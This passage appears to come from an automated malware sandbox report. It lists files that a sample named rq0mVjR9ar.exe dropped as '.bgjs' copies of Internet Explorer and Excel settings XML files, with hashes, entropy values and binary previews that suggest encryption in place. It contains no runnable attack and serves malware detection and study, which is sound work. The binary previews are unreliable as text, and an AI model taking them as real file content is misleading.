Preview:	.....0B.#.4....@....gf..`..L.d.o..g4^.G.w(...C...jc$.qB. .B...[......b..X.s.j...76..U.I..`.\.V...d....O....5.........9 \|..mA.@A..s...{Z.A.FJa...._.Rz]b.)....#...l..........S....t.3q..{.u.w..17....`.L.9]....pfc.....^.@.......MO,q.R.US..;p.-z...bv....o3..-.6....1.-.M;3}Zy..f\|A.R.<H..~.....Oov..-.(K/..y.YB.....z(..4..?...3.}[...d:...........y/...%..@..a..x...>..?.u...M}G.....Z.E..^...z>.F....tYs.\|~.1._S...q..L.`8.F[._..5........Q..,....G....S.d..n0I.`.H....xx.;.a..~........3c$p...Lj.....U.M:K.>.1"ej..8Kq.....j...).......&$.ET....9....,._(..e.-x.CL."M.$"P.5..0...5b.'7o.u.6.XV.......e..5.F.r..!...@5.U...`0...'...4..q8E........E..B...O.....=T....$.9a...G.~..i.<z.AE`.... ..$p....a../....I1....-.+...(o....H..X<...1....,h..@...^zL....XP..w(.........k...a...Tw2R.5c~.7...l$.n&...k,...4a.5.OO...e`...d....M..t........j....ihQ...X?..8.^H...L...7.mK........{....n.../.....fd..>.S.1..$...!..4.Y..A45_._..0..q...n,B.......C.[.....^...p........'.b.V.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.940467795656336
Encrypted:	false
SSDEEP:	96:CM/SU+OTH6qSmT4XKcVazuIysuBHl9lADS4lxO3s:CkSjOBpH9ufhlA24bB
MD5:	B2DEF5A735D9C594A81BC72ED302A525
SHA1:	2FFBE535A670703CBCA0368326EEDCD6A2F55A0D
SHA-256:	27C29C34D366C9B5458075375DEF64F1159000BB8183244A3EE859EFF4AB2DDC
SHA-512:	18A759EF76AFB24E15C82AFEE76FA00F93305685D7E669178245EC4B3D49928B85E453FF7EE64FD072E899EC0293A54E5A285980FBC35B5B6470EF656A0B5422
Malicious:	false
Preview:	<?xml9g..W.>..>e.9...+i....D./E.-.'..s^...YP..dJ.L.Q)..p..3..T.......D^.{_.o7........v....?.i.:...6...X.b.....g...s>.............1.......G..uTw..{U...\.iQ.R..0/}......:pM..9.FG.....j......b..IF5.J./..S.b..I.>.....#C.\|i..:.W.........2he<.'.O..jW.0`d..1..&...@..>.R..n{z..7..$.j..rv..eB..r3..7..ij..Gb..U...bU.c".....C.~...X+.h......ZU.h(......k..a.v.N.3E..........n(. ........s9$.,.r...D..\.M...W.......e.+...jL......Ymw.Z+l,.Q....4..dU.rj....e.j....[...._.K.......>:nsq<E...z.^.y+...KA.....A<c..>.W.oP.......... f>6.............H."....U....k.N.^.UJ............D2.tT-.}.......!,..z.9.Y.l.u.0.....-..I.N..;d....A........r......T..3}.)Z,...)6.../.#.U.<.[.....E?O..XCkt.V.....~....x...5.{...5..+...v...H.h...,j5)F......t...,.2Mf.....+..DH...'azpv...}........7....Z.6...a...`<.I.3R.VA.J...P....l.T...'g..K./......'..k....RN(v..(.3g.G...KU....F<dxc.3.-../.e%$......d\.....2W.a..MJ....d/.8....S..NG..kI......"P..G.................H...^:%$.u.T....y..73!.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.529990886954962
Encrypted:	false
SSDEEP:	12288:5JSiabzWHELiwfXSZlV0N8x5thr291gess3TylunXh:50iOWKFH
MD5:	F482BF3020526163CE2037560499DFEB
SHA1:	E98ED42BFE3681F9D298E22507A83C0A6C778DC6
SHA-256:	E39DFE8D0730FCF256BF74C0DB4AFD0BF42FB0401E8AB57259FA8EB147C31C69
SHA-512:	05CA52BAA5C53CAEBA20620EED81C28B7476F0B4DFD3EFE6ED144B2FA558DCE979CC9E6391972C5B239C75F8A5DC1169F4D8EF79BD40B668BAF6C86C718DAE59
Malicious:	false
Preview:	<RuleI.....=..;..3\..V...e..Ek....Z..T%.v...>0..$...W.}.D$..~..Q{&1.....$...Y...........UF..2..yOu.)..\|.x..........u.~..........-?S-3{.....peu[Y5.BQ....~....y.A.b...x....!...........;..^.F;.g.......x...dUTU......#).;...yz....^..V~....t.......m._.ul....(=0.BZ..F.......U.O..?kydu.g.c.Db.......46Tt.V2I..1......A._8..h.o0v._..@#.e.g<k.9. GP..2x...-.e..]RyT..;.-...c...F..&...}>s~....f.....H.-....qR.k.F+....k.F.TN....^.../J.Dg......dA.Y.....L.e.......;.......q..%..ks(..w.#...n-.&...!Mn.).P..q...=C....4v[....(.....j.....P3.......h../.wR10...K.....Lj.X.g...BnG..8.v'..7\+... ..:..........4...\|]./.z....AI...G..p.....i...y.m}..u.5,e.D:...LX...n..N.zn5i.W........V:.N......]"..'E.I...T..pD.PK.........;.a3.V.R.&N..?.f......O.&.c....S5...6.Ty..3..{eq.H..O..+..e^..6p...#...b...!.K...7......e.p.pak.(...2<...c..Q0..Nn).[.....[.@...Z.G@...............d.......\c.(...Y..k .$p!~..Uq.j.-...[.mz...x...n.83.Px.w6....7c..=.3...7.b..L..a........+...i.F...Gi

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.908546446938572
Encrypted:	false
SSDEEP:	48:LnZUA8QayYwjogH3mQHOLkZmYZPyy7Kpf/iuzexyxcDqeK30f2mNsiD:LZzMPgLIkZmmPjkyuz6yTkOmN7
MD5:	A511BB46D39584E65CC20D7F68D2373D
SHA1:	A33FEC78A448936E75B56943822C1B16CA9D9654
SHA-256:	9E23AF2A27B21ACC71EE9B4F9A94FC4BA0E7DDA02A613B2BB02620FF298FAD80
SHA-512:	BC536FC7987AFBACA48C9D41E3A5823EC1092F28392B5D453599ED060654E054B1B159932738C2305D93DB43DA8B8EBD00A2D6A5CF7A525A1310721933C0C75F
Malicious:	false
Preview:	<?xmlw....N.......6 ..$....I.l...mL6..?_..'._...Z^....Y..V...P.z...K....v.....!q....t...4...4..<.3?....5.n..Bx...NY7.wt.....e..SM..MY.X.1.~...1.Gpd....Q..R.@...@...A.....e..@...U.0.......Z.Z_8...^.O...f}.#.?w4>.Z....z>...0h1.v`)Y..S....Y.#fr..0....`J6......;.0e.i.m.....QQ.g.C..&;.W.k..l..M...m.Q.p...H.....kd..(.......p....N).L.n........>...o.\.._-...m.9...e...<.$jG..@..l.].{.))..9w.K.n>...<\|.S..s.F.....3......*Q.....pT^UO.O.7!.8.....%:.A..k....>yl.`..h.=zHZ.....]_...s/.....g`......E.{.4=..xlJW..Z...GLA.v....'N..yw..3#...g.:/tb,....Y.V....L.E.e...p..8.9uC..}.....j.mXC2.9.E...5NNG....q....^^;!.......5./2....}.....5.D......O`.=9...)"..W.P.\4....{..\|.f....6.X .K%...4$<.$l...}.X..C.t..g.u.!H?I.....]..V...n.i..m..4:..u..L[d..`.L.\|%....c..=..!..p.@.....o8.+HA.j...A.2/.(.%.N.h....`y&d....G......`...O{...A....I$.3.....Hw...\|....J\|BY...>F...r.\......vk>.P..Y...wN ........?q...a`...:....S.\|.uhN...\|...oKY.H...\|....Q..x.g..!H..]$."....HY..#bK...w!.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.844213831056713
Encrypted:	false
SSDEEP:	24:s3ZL1tz45BGpQH9jNupzL2N89AMOCr54x896V06idPiViTkbD:I91tz4qpQH9hupzPWgSAPisiD
MD5:	749768C1E5D03590FAED12F50AD2C3DD
SHA1:	E2606EB1B57C68480CB3C1F3405F439CFDC314F8
SHA-256:	FE68CD1B11C1F03DDB1D6654161AD917A4B70394DC3EB390D03F4ECC10019A20
SHA-512:	F60645A3E9CC492FBA9E883C29E3119E1F958B32223698E7B1E4206E64300AE9616D52FF5BCF1CECD49B0CAFAF7A70F7A6DAA40AFC495B14B7C759C987C38C36
Malicious:	false
Preview:	<?xml .6.P...jU.....f.n....\|8.NA~p...C.(r2.....B..;.....;E.._.:V.0.V.8QF.3....H.Kq.+.5.&......M.......&..X.oKa?..9..!.^6.'.....`r.w..3...M....,...[..yj..^....h.N+F.k.-.6.MV?x....1...._&R....{I..s....J...ZU....q...G+..#B.&..2....8..i.@..j....J/\|...y..\Y....m${...=@.%}..}..C.g.D##.e....L.mO...xo.....V8..^`fH.y..#0d....^..c,...\.R.]."S.....DU...[.6.N..>.wiU....Af..;..nlJ..?...H"..!...M.7.d5.......MO.GGJM....Q.......s...&...Oj[Y.,5.....:.\.B.32.~..)HqZ=7i......R.H..a.}....Z.h..r.Z.t.....K......<...{h4.5...t......(.Y.. .s..l....Y.R4F..2.GZ.....(...kQ.t..b.xh.[..8`Jl..b@l.....+gK..%.I...7.M.;qL.m.0.[(oxdz....q...{Z.e...{{HT....4...(X..]....ID.7\x...]...'...I.!........a).....H...}..dvW>:J..Z....o.....)K..m\:M.]Z.[{......%.....,...?l.....y8...f...!....K.H.O.4-...%.:...e.yzV..S..!=3..07*..a...\|....b.F...E.$...D....4a.8_..Yn...xA.[...hE...U.V.a..j/..o.....s.B\|}..`..(.6;H..=...^..H.p.\....,{=........r..oF.8P..S.'.J6.M...w<5.j...."84.9:.C....k

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.805117008460034
Encrypted:	false
SSDEEP:	24:qI/dxV0rbTDQAHehbgcl46XG1cUzgg7JadG+269iTkbD:qI/df0PMhdy6XyVzggS26UiD
MD5:	BDD96C43C57C8A8A6EBF0746D68D07D1
SHA1:	56B30911424370EA5DC27A63EBB55E666C0D1871
SHA-256:	5C4E9A718F6C050E63235F6D13B3F311C44257DE1833F375116F8C03EA1193EA
SHA-512:	8823A17CF1B9E7D88495253BCF59FB3CFB99830E98DD8E8B5360CBCD461F3208AB5F44A5A193EBA19C76DCA73515B1F13F39A59A7B1051C87B3E7E66703E4E49
Malicious:	false
Preview:	<?xml....$F..../.rs...(.ThK..nz..'(.`...}k..sF/....m.Je.H.[S+..0.A.....=.%.........Dv....u...Y....9x.g..d1... 5..'....,...Z...........Le...J...[e=.?.V..{.}y\|.gC69.....'..E}xD.+...p.ae@z..._#.<s.V.......p..p..._...nO4DH.7..?,Wl...?.........c`...v.......c:..y..y....u/..U .J..=.].X(\..'.UZ.Z..Kc.....Dl....=............].....:.....z..{.....U?).1....s.:y[..ZG=.R.A.....gl......)...$v......;...}OaQ.Y.._`.Q.J@..tj.....]....Q..E&h.I=7S.[.g......c..v..&a...=&..9c.V.4...!Lh...n.wE......&;v..S8..T.Fm..U..t4.oK.Q.........y....q..*..9...+.......q[..k.Yj.`..C...g..fC.c.>.m.......EI.Y....a5.(L..J.....I.W#.}.^..j.Ww.^.....5:.....H...++\?i..m.z.m..7i.(;kY.:.+...... ...+K.....kno...9N.{E..Cy..7.).VDn+k0E...>G..g...[...F=..]UbN1..ah[..<.....Ez8..E.......c).jU...b(.....B...p.....IJ.t\|......'.l...9f.:.0..-h.0..'.u!....A.]....."6....(.PD.X...-...Y;....^......Z#i;........w...EE/...%..b...v..8NH.........f)....].......S 7M..X.=...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV0

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.884334918793516
Encrypted:	false
SSDEEP:	48:t8IdNnPWSKsOEPw9l/wTZd1uvvHwygGNHusiD:KCRPWhsOQw9NuZeQlwu7
MD5:	2DA6D314463C5F3246D15DD290C108F1
SHA1:	88FD1B3276726A85118E3F8D3A338A512CBE872F
SHA-256:	7C8D610DC13568D284B2FD0E2B461D30C7F39601CA5FE3E0BA0A1D9A20EC20B6
SHA-512:	0615E0A7AD28FD16FF612827C05D604C6728C44CAABBB7CBE62329E3C960A5417DBCC1AC3EF968FDE71EBDE1AF01E9714A20A2E14F2743178CE1A3FD9FEA4B26
Malicious:	false
Preview:	<?xml......H.{2T8..'Rt.........M.b...\....#f....Z.D.......:$..3T..o.#].vu...F...}.v0,...B.iB...A.."...l.........2`.....i......ex...........U6.....NS.nmj.x....5n.1....k....ght8..)c.r-N.S..V.~v.G.}.(....}.$. A6'6..e....H.{:.7.......y7.S.$.......:?.D#..,..k./0[.tq.f.E.`..4BQR.......y.o4X5.V.Y.>......u.......\|.}.cp.(....'.~k<.>......h..R..s_..e.^..-..Q).7....IP.H.;..r$...A&.....\...-.8..,&C.#....Y'.6.~.%.... .....R@.!+..fg..Q...../.fi'u7.....c...ez1..'."\P.G..2...qpY;.\..f...a.#...?~.}....k..>Pu..n4i,. ...~2......T.pkj/2...>......yYV.._"....U7.....+.o..\|.;.{o....ip ..(u.I#.....^.'..J.;.dl.....hzn..i.....d=.l..4.kG....PDS..tT.i.If.8l.L.s.B..9'Z.k.L...MQ.......]..."...t.qr...<...z...s..>.......>.3...)..;F)a..R.57..8SB....}S.n\|..(z.4^x.....D<.7..Cf.~@...L.....J`w.vcR.,9..w.cz...N.x....V..o.6e.{.p....+..g..X......O.....4g./........6..F.Cur..i......vt.}..}...iEXq.1&L.9&..l..bhba....%.'.Z$^gw.......A.8..\|s..pbFFu;..bW..\.J1c......f\|P.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.826945435005219
Encrypted:	false
SSDEEP:	24:4BdK1dAjmZQvh6WaB5QcG8rWDlom8nCa9bJZEjXAW6yuiI3iTkbD:4+g9vhRajI8rWDb4Ca9bJXWvBtiD
MD5:	EF9ED8F7772B758BB1B837AD8AE0937B
SHA1:	37A5F98ECAA1342C68EEB6C1D67CD31EC7D4C406
SHA-256:	13E5B1C900818F5C664E2844615941479005743E1A9B3DFD8E6542E81B31A27B
SHA-512:	A51951A28F4BFBD7728A09D5576D2430F6EA7B285F87494775E5F791505B49C7FF6E3A7DF908C2B5DF7B3E0F8F869BC95844C0282598A2BDFC6A0711657CD7B7
Malicious:	false
Preview:	<?xml,......r\m.0..f....v..m .!k.~.t..dW\|..?....[...\....Y..)...(p. [..6i.K6.... .@.n. D ...O..E..(Y60j...s.P.W.....Q..~[.E..5.f..2Z..y..u....x(.D.#.{.z.'..!.z.3..#G......d[.n.....U.....K.t.....q..;..P....b.!.(...3..f..;.!..I..uk...M................~@,N........B5.............9O...5....\|j..?.AC..`u&.kR.>.2......N.[..u...?.Y.9.g.Wt<V+....)YoL ..#.'.'.p...8K. .o7?%...i.2p..'9@.1%.Rk....ykK..y&Ih...j7.............8...d\|....x....J..m....2O.5..F..<..F.....O0=.....0.Z...!.U$..W#.....a.-./.\..f(....[.}.........e..%c"..^(...Cll...sFxD..:..C.6........,-.(.@..6]...E."..C.yq.n.aA!....j.v2.X................"..!B.^u.<!..Y.}.....N........hg0F./..a\|}...O'...].=...y:zm]....K.uM........../..e...7F..{%..$..<}.7.B.L.=...-~?..H..Y.l\|Y.Q.}.C...,...E.BG6..........-.D`i.?0.~.D...LV.......?/...0K.}.f.H.Ym{Jt.[1..w..F.pC...P....E.r*....."..j.....y.:..v........-.!A_...T.:..!...~.j......5.u,...+.b#5..#.}$..,..v%v..l..Gh/$.x.%.h..E..J.TdUdf.x.X?...N.x.N@...=...ZQz

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.837586214437994
Encrypted:	false
SSDEEP:	24:yLLnc3Ksk8rqJWFaOSQQf47Tv8wrpUqK2dYW1InGvLLg5RRViTkbD:yLLnNskW7FaO84fv8wl/BSW1MGvozOiD
MD5:	4BF9F92A538AA2CE6D15567ED43AD48F
SHA1:	A449B443C908693E32C3CE6608B44EABDB6019F7
SHA-256:	D7061DFDCAAC2F41BFC18C5C4461C82AD62BC1FE5C0E93376D213FC03307BA4C
SHA-512:	74B2DE71B3E225C9678B97EB0CF6E3787CA41CB2FAE1D8720482A3F653D02A811AFCC03437CFCB202705768B8A5DB41266408619794EF784F167CFD464F8B34F
Malicious:	false
Preview:	<?xml.)2$W.<.2Wx$...s.;.)..x..q.}.ON.kps.....W...ymY..,.m...........K~....:.>p[B..-[8t{...-.{..{.'../...........h.^.=..2].........u..V....j...X.,.~k...rnz.9.L.2<.p.k8T87..h...nd:.>...e$../.\.Q.%..zH..](.b...^.u....o...L.V..]...t;.=+..3o..G.]...\|cw.Fz..i,.N...!.D....s..{..x..YB.I^.98M........Z.9..M.h..@...}F..."b..T(.0.* ...5).........!.5r...me..\l...).......2n;t.............U.X....5.....t.&P..t.....!..{5.......U...a......'.....8.Y...@....U...t)C....7Zg...mP .....1.Y.V.............J.../-G.9m.b.Et...r;...)mU..2%.1..._)...QQ]..b.C......}.'sg_.u..T..>..e..3.;!.}e.^,...-.. .9......h.......X..I[.".T.{.....3%....n.E.....p..,.U..4..#..Q\WR.....0O.F.'...+'..a.Q..x........6H`V`.m.E*.y[6'Sj...._.0...h..i..2..I..l\|..R.s.(..n6...74[.b.P5x".\|....ds....Q.....".:...7K-.m.H.V...^D...5'......6.?...NrU....QM....r...c..H.8HR.`..-..v..<F..tm.7`..^)Dryg:...d..P.Zw..c....](xN..F.{....p.d..T............rUf5.c^.._.?...J".&.[.@)}.l.Z....C.t..v......0....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.902253700749525
Encrypted:	false
SSDEEP:	48:OvVdbBtjOiO5wAN5BaGqyitRcJhOBMAEj5m3JIiuBcuiD:OdRBtbObN5sGPijwGSwwcx
MD5:	F5845C463F1129D2F2691508DC277703
SHA1:	40B202D4C2EB9876121D07EBC71DB5D05F13FBA9
SHA-256:	33D417D0A061343273DC3EDE9CF9137E3DB9889E6AC0493835006B88A9945B21
SHA-512:	074C496B0C55CFF365310E515B481CAA16132A98E01CD4DC8A0FEF282CAC67CF1339D3D3F03A8B7947656F85178D45E0F3482C87BE2F2B1F97AE1D11C1F090EA
Malicious:	false
Preview:	<?xml.d.f.!..v..rQ..tf5N.t>..X..`...%<r.T^Y.,...y.}.a.}~.Tq....}J".8.Q.o@.<<...E1Z0X..P..z~28. ..O............CN(....bC...N...rV...?.<.&..?mE.T...l.?...>p...Y.,lN.o.7..(.....(m..p.;....7.'..r.J\|Y\...S.Wm\|.c.#.^.NEWV.....hw.g...u..V..c'.....[iz9d8...u.i...p.7n........\|.cO..@.Q..sp#....m..:.ve....<...)6F..R..~(s5l.S.p..]..L6.d...K.3...X.........1<Sdx.A]......m..7y.Vt..G.S..@?q...e.DV.....M.p..W...q.~H..5........i.........V.7...\.b....'.Mt(.....D%.GXl..{.:U.(M[%4...Q..J./..<.2hx$...C..!9....!9.-......D...........>k.j.$.D.u_I/.r5?...0..m........5,...3q(...L...l...v.I8.8].%.....".f...@.7.`..[@.i..2C@H.....S..r.Or.c.....ue...n..vD;!.I..%.........gkL..i.-..\.(?..G+.@.W......;....Hx.&.......p..,=m..O...G.a.w....Jw'..dE...F.T.....VB..v=.d...-8.2.36..!#A..Q.A9.9Z.&f}....'vR..%.#.=.f...Y@..Z.4.4y.[t....A[7......{..?.?..`..p.v....e.h..:V3..T...8.a.No_P&..d.eXdo9x.)..7..km.. Af.2..E!.../.F7x.za.;.....h.w.Z....Fs..1p..9...(.v....}J..w.`O0..$....&$...o.B..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.845958881462932
Encrypted:	false
SSDEEP:	24:v2Bk6athENbUxDdDFUymBgHkSpJSN5I+XG8+oZmVXXeMRzHD42ZwCVW+iTkbD:+HaGAZBFMgEAQN5IzzV/Z82O97iD
MD5:	FAE42D433FACD7FE1ACA2F0ACEB792C4
SHA1:	A15E460C15EC1663B144DDA5B2ED1DD1257D38A0
SHA-256:	307177936AF255349171D6E2522356DE8B6744B5616790737C2F9B1E8C89889C
SHA-512:	4061D4613F94160BEAF5932CD6D6BEFCFC9644A2660E23C393FD6145137465297A54F25CD00FB7E0BF8632509A40BF26729B74179066A91EFA395DDA10762E82
Malicious:	false
Preview:	<?xml.K&..n.:.vR@\.d....-.Z-..mu.>.5^......n..rN.Y..R._~@..;_.%....Q.}B..E...E@E.E.........]E3.2.....G.J.D...N..`.:..m.X~0n...7.J...x."6..)..$/H..s..C......!6...j9....d.u..C..0WJ.n.oifH.<..O0.e[.m.:?....A5.g.)......Y8.p....k...<l.....C..D..@9..~.@m...pJ..K.~..a...H....\`4.............ej\.%&D............O ..p...5..:..Y....&....v......D_..V.......8 ..N.9....K.q:.R.db)"..t...>.....=.m.S..t.....4.>j..k....]HJ\.M......./.d...J... ..u....e/....1!"S...;.gt..XP.....H.Ny..D(..K...da.r..).......]H.T..>.V...].....z#s...f.W.~...x..7Rb$..n!..fa.....v.Y..y.K.....f.._....k.n.dR&.[.=....C..$^.>.L..~..6......U_.7X^.j...2=b..VE.J..1.R.?a..q....w)......W..eO{.F.sQ:.%..x.[.K...t.d\|..u...H!.z`@........;....;.......u...^...H....!..:..B.^c_k....0.}k..k......8.U...tQ..J...J...l"3..-...dHU..W.."..B..L.)..l.#.....WD.kDY.Z..b.!.....G.....?..h5......}\|..y....`..\mj.../.(2..^.......#{....Cp.~.q.T8........TG.N.~A...q..X...Ns..D..9.......-.@#!..3...K.Y.%.._5BU.au

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.851256148240931
Encrypted:	false
SSDEEP:	24:7xinDcZaGx+Kt4TatrpsggwhX2ZV/60IQWVhdR1Y+1g/ENjVR/i5t73MF4eKblPG:8zGR4Gt9s0U/QNVTpW4CZ3y4eMP9piD
MD5:	68028883BC2D94D932B386CFCD9D5536
SHA1:	9C1EC1AF222F2C96057202AE44620ECA11337D62
SHA-256:	7D3631FD2C2BDA616C305FDD719A06BFBD5F66BA91FF4811ADB0F05C7F95CCAE
SHA-512:	DFE265BD1C5BD54FADD4069853220581D99F7110947ECE8C491DFC4871864147FD261AB830EA2F307E99134B501626276845A367FBC4C348A072B7A9DC951AF0
Malicious:	false
Preview:	<?xmln~Fkd.oQ....~[.....R......n.H1.......6N..d.s..".(...Q.q>...>8.0Q@....a......s.4...<.......fE....6....4........g5..fc.~..(...... \|...../..V....O..(_.<\|D..F.M.....r.M.Q..3....K.+.....g.....E../....o...F..T}.....l. .i...s.^7".K5..$....3.f6.Iio.)~5DU....1O.Xg\|.me,E..#....1.X....I..$8F..}V./>U..r..p.F=..,.....+...+A..6...P..>.f.m"O...5S$..c~{..SuY....k..>y}.,lR...R...G....Q..m<...KW;m.c8.V.P..Bjm.......?....i....8.\|I.M.x..~.z..C..u.:...x....tH..6.'!R...e....2"V..\..0.P.8..O...ly..\Ew~.B...].P...q....M....b..P....h...;.......N......5%...?.k.a...U.3....D..e..7..:"v>5.9&.\.k.T/..V..D..C..}..z.6._A.c(a....2Co.I..U..W....}P.._..<.&..}....K\.8s[.p...80...$..........a.x;.....y6w(....j...).=..+..J.w).;LU.O.$g....]]...A.VX.&?.Ay.:.bi]lvj.....B......g}"....Tc.......Q...\.......e1..4.o....d..?>......}g}....xD....$.v..H.z....*.O=.3......uG0.._......,..n.up.i..G......cK.......u...Xd...E..Q........{....`.D....]#N<d........c>...l.....t.$H..4<.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.717432971466105
Encrypted:	false
SSDEEP:	24:Btyn0QtwLmxDnS+BTL8UVdJkalB60s/isSIqAZiTkbD:C0el3TLPVbkuTsTqfiD
MD5:	045B10008A8CD5ED645E38A71F827F6B
SHA1:	828BAE6CB67786CED53099E3B8897BB45CBB3243
SHA-256:	2649CA58745D2FE04FC7C7B51CAB83290894F9287A0D85F67B649668314CB56A
SHA-512:	B88B1F942BAF4D72E636C6F64BE665F9FF55EBEB79A1EDF06791AECEE97E04EC100142B1CCEA52345ACEC9397DF38B8E41598040764643F1ED5CA85938FFDC06
Malicious:	false
Preview:	<?xml.u..K...w.O...\.v.....<...a.T......G...8'u..x....yD.<.W..A.FZ#.-..b.y%..8 ...e.0...L.D....]._\..^..I.........wn..D..!..U.u.r..W8.k...E..D..:.-.b..Cl..i./C..N7l.PB.S'"...<..wr.4...-..8.17...2.T.2..S...]y.:..3.. .._-T<.u.....9..\...63..(a.3~...{..HsE.:.'s...ti}..@.m......{....4..Je.-.8.:...y1.R.H..{s....Tl..g1..@.....Z..C...tsJ.V.xl....9..s.i.K`r......O;....:....U.&Ftf....n......h]B.......,.....=1....B#<.C..[............f...."...F.0gq.J..,.....C^.S.:%.`..J....i....w...@.4..W.......&O.]_.c..........g.r....@....-.._..Ip...KN....&........H:V"Ur.t.@..u.E@....,...u....V..T..l_>;y.y....L!m..'....^.].~K..].z.Tj..T..K..,.3.....5.....3bRI.............I,.,LS......[@..r..._.Z.uI...).t...S.eR.p\A..P3.2W~....B.^......\.ZF.h+...-....&..e.b..TmJ{ D.z..9..L..S.jE.ZK[...H.cs.R\|H......:.ls..EZ......._.v...E.....ff.E.2C.......j...;s.F.3.q..#.*[.....]C..O@(....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.95642632951372
Encrypted:	false
SSDEEP:	96:zkICMXnl0Kkaiisv1HERoepnDm4BEXq502hCxXGQjPfZAC4Lelr/kw:gbMXnl0KSHERo3OCsQjPfJ4Ctsw
MD5:	26C5077D21BAE81861C99419842B65A3
SHA1:	77F3004637A69B74DC02ED96999C7C30C8849BD1
SHA-256:	67840835E656E28BDFFDBCA674854A9922E21282C24B6B954E1CF35FEA2E0DA8
SHA-512:	2EBE0C46A6B13D7148402C8AD06C2B3E735451C1C74495C55D5F83A4237AFC9F416F7F80C67EF7A79313E593ABA3934462EC76453145A7C9B1FE161164445672
Malicious:	false
Preview:	<?xml.:M/..jQ...x...].#4...Kv3.4.-`...Ci..."I5...)~."..Rn.~I...`ee..i.s..D'....\..Sw!..{:...V.6....J.g.#.N.=..Rx..8E...f...R.t..p..........H<...P.........KB.e....v5.P..sq..]$..M.p.......[.E...f?..y.yw....x.X....tj.w.a..IQ.R.f..k.+......\U..V.......dx..M..h......R.Q#.yM..KJzI..J+.;?..}.Fg.W...n.S.xTH=u..a..^.......M.]..t#U.....j.@.......m......n.=(.....i..p]..,....i...,.lN..,.<.C.....z6........G..'rE.&...n.6F.lF..T.I9.....y.f..+... .7d7./.....LG{.A.....b..d...B....V....EP..iA.xS}J6..P..=..".L\.Z.+...GN..N.....2.-.r7E..n}.....%s..p..L.V....w.g}.}.S.K.O.bAX.-.m."...~...+:.qbQ..@a......s.......C3V4..._.4*...9..-T....z./K.vOT.z...P.#.]7TV..C..x.!..m.m......k.......n,.x..\9.\....b...&.w. .&E..$..@(F..\.p`.]q....pN..............5...G.e.@U.{\7..2..:......8=.l...6..Z...rl..XD.....Z.@.h.UH.9....M.eqh..@.p.G5'8.(q..^...DA.X8a.0..x#..p...9....Z.c.[.C"....../.vDx.W...TyYw.}...\[..k\.o..a.V..N^.!?..7...........q..X.U.=...P..c......G.~.......S`...>E3......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.934496472823076
Encrypted:	false
SSDEEP:	48:Vndokjv69U6bq0UX0kOVtVJMfCEl37zjw/ROHDUlwXwu4pbzGqFv2D3BKlEpiD:VndVjS9U6qgjKB37PwpOHDuKwu4hzfy+
MD5:	61B92BB7FE87B949B47301FC80258551
SHA1:	99B5A08EDAB146E52A6928F80D4461A32BD2AFD0
SHA-256:	5805086778F65D3E1850A8D7AD7236F9E82D34BA10749298A68DA67D580CBFF6
